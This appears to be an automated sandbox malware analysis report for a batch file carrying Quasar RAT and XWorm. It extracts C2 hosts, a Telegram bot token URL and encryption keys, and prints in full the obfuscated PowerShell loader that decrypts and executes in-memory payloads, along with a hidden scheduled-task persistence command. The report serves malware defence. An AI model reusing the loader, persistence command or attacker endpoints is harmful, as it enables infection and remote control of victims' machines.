Resubmissions

Analysis

  • max time kernel
    59s
  • max time network
    60s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13-04-2024 18:14

General

  • Target

    Client-built.bat

  • Size

    1.6MB

  • MD5

    566c653ae6a704041aef596fce6d6a8c

  • SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

  • SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

  • SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • SSDEEP

    24576:5fdhc8KmdqCxAN6Wzmom6E7SMVePybPyDJq2Tg60xTmDADhXX9wEvIslVYglu0TW:5FhcZmgs4DANHXvhXNVnEyx8f

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

express-divorce.gl.at.ply.gg:22562

Mutex

6735a92b-88d2-4fbe-8e59-605a85072109

Attributes
  • encryption_key

    8681483EF512C654BECF205A0D74FFCA4B129A98

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Trapix Client Startup

  • subdirectory

    SubDir

Extracted

Family

xworm

Version

3.0

C2

traffic-collins.gl.at.ply.gg:24820

Mutex

uX6FapIHo24Z2JFZ

Attributes
  • install_file

    USB.exe

  • telegram

    https://api.telegram.org/bot7171419034:AAFHVFSxi6aVJohwci09QBtbjQ3QtjcLoBc/sendMessage?chat_id=6403260284

aes.plain

Signatures

  • Detect Xworm Payload 3 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 7 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_267_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_267.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1872
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_267.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_267.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3708
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rut3Nxs7NHGxRfDGW4AZiW/la3bsD/qGa57R1oLq3Jk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMGBAJCtblcDTdjuAM5M1A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rYugK=New-Object System.IO.MemoryStream(,$param_var); $FsizC=New-Object System.IO.MemoryStream; $qQyLB=New-Object System.IO.Compression.GZipStream($rYugK, [IO.Compression.CompressionMode]::Decompress); $qQyLB.CopyTo($FsizC); $qQyLB.Dispose(); $rYugK.Dispose(); $FsizC.Dispose(); $FsizC.ToArray();}function execute_function($param_var,$param2_var){ $YdjZT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WGHne=$YdjZT.EntryPoint; $WGHne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_267.bat';$tUlfv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_267.bat').Split([Environment]::NewLine);foreach ($opvFd in $tUlfv) { if ($opvFd.StartsWith(':: ')) { $vKkrO=$opvFd.Substring(3); break; }}$payloads_var=[string[]]$vKkrO.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2180
            • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe
              "C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe"
              6⤵
              • Executes dropped EXE
              PID:4060

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    ad5cd538ca58cb28ede39c108acb5785

    SHA1

    1ae910026f3dbe90ed025e9e96ead2b5399be877

    SHA256

    c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

    SHA512

    c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f404a1d6b3435ba3550ba6cbb87c6fbb

    SHA1

    6f61023a2f8114372a4ae62155dc86d066e3bfa8

    SHA256

    6ad86a2c8c7ab664622ab8e5a26d437c3f358fdc99f7cb15fc8279cec40eb059

    SHA512

    4fafaa336308e689e06808479a2d1e05fdc2a43bce6807b009527e06274821cc7d80c4fca7b50a1d826293c458e5cd5bac3f83dc804b59eef466ed288d152639

  • C:\Users\Admin\AppData\Local\Temp\XClientNOT.exe

    Filesize

    31KB

    MD5

    dd466e4e324143a67a406797c23ee2bc

    SHA1

    cc369b99c18c9322734b14908e7b21f2bec48118

    SHA256

    1a87f2fed2a9263e703c44d25da8242016a640db930678a0f497879267c133c8

    SHA512

    603c082427129deac3bce210d87e3f4125dd429ad7fe13422b7a3d80f8e282ae8ad887a20e47de12a3f90c24ab4a143dc3b069fd8da122f4f96b70f94bd7f438

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yc3dmam0.bbn.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Roaming\startup_str_267.bat

    Filesize

    1.6MB

    MD5

    566c653ae6a704041aef596fce6d6a8c

    SHA1

    da35608bf372a6113d941817a96bc3a17de9ef69

    SHA256

    950153a1ef5114d609ca8fa79a28374c1f24ae84a8f90ef0a21fb7914639b4e9

    SHA512

    98662e33f746dce81efe530f6544bf0d83eff2ff35d72bf54e105ef6de121108a4aa28d6e417d3c8e1584a5c0165f78b180574eaa489f11d7cd617b6d31e01c2

  • C:\Users\Admin\AppData\Roaming\startup_str_267.vbs

    Filesize

    115B

    MD5

    90d9f9c1ee8b2748879d3f0d7692e6c5

    SHA1

    9a88b51f56d0c106bf2e13585b96acfef536cb90

    SHA256

    15d67a91884058d7464b1939c42db9f37a9317f7d43115f3613f463af7389a23

    SHA512

    bd961df405cc444200f26e157dec1fa19377f88d29092726a604b1e90fde4c50c9a56d15fac9dce7b9a292f75e11c011ee98f341bbe80d756f49af5089c96bd4

  • memory/1872-54-0x000001C6661C0000-0x000001C6661D0000-memory.dmp

    Filesize

    64KB

  • memory/1872-72-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/1872-39-0x000001C6661C0000-0x000001C6661D0000-memory.dmp

    Filesize

    64KB

  • memory/1872-36-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/1872-38-0x000001C6661C0000-0x000001C6661D0000-memory.dmp

    Filesize

    64KB

  • memory/2180-146-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/2180-127-0x000002613F550000-0x000002613F712000-memory.dmp

    Filesize

    1.8MB

  • memory/2180-125-0x000002613EEC0000-0x000002613EF10000-memory.dmp

    Filesize

    320KB

  • memory/2180-147-0x000002613DC90000-0x000002613DCA0000-memory.dmp

    Filesize

    64KB

  • memory/2180-148-0x000002613DC90000-0x000002613DCA0000-memory.dmp

    Filesize

    64KB

  • memory/2180-126-0x000002613F2C0000-0x000002613F372000-memory.dmp

    Filesize

    712KB

  • memory/2180-113-0x000002613E490000-0x000002613E7B4000-memory.dmp

    Filesize

    3.1MB

  • memory/2180-88-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/2180-90-0x000002613DC90000-0x000002613DCA0000-memory.dmp

    Filesize

    64KB

  • memory/2180-104-0x000002613DC90000-0x000002613DCA0000-memory.dmp

    Filesize

    64KB

  • memory/4060-123-0x0000000000F20000-0x0000000000F2E000-memory.dmp

    Filesize

    56KB

  • memory/4060-129-0x000000001BCA0000-0x000000001BCB0000-memory.dmp

    Filesize

    64KB

  • memory/4060-158-0x000000001BCA0000-0x000000001BCB0000-memory.dmp

    Filesize

    64KB

  • memory/4060-157-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4060-124-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4672-10-0x00000271D7150000-0x00000271D71C6000-memory.dmp

    Filesize

    472KB

  • memory/4672-21-0x00000271D6FC0000-0x00000271D6FD0000-memory.dmp

    Filesize

    64KB

  • memory/4672-110-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4672-26-0x00000271BED20000-0x00000271BED28000-memory.dmp

    Filesize

    32KB

  • memory/4672-7-0x00000271D6FC0000-0x00000271D6FD0000-memory.dmp

    Filesize

    64KB

  • memory/4672-6-0x00000271D6FC0000-0x00000271D6FD0000-memory.dmp

    Filesize

    64KB

  • memory/4672-5-0x00007FF995070000-0x00007FF995A5C000-memory.dmp

    Filesize

    9.9MB

  • memory/4672-4-0x00000271D6F50000-0x00000271D6F72000-memory.dmp

    Filesize

    136KB

  • memory/4672-27-0x00000271D74B0000-0x00000271D75EA000-memory.dmp

    Filesize

    1.2MB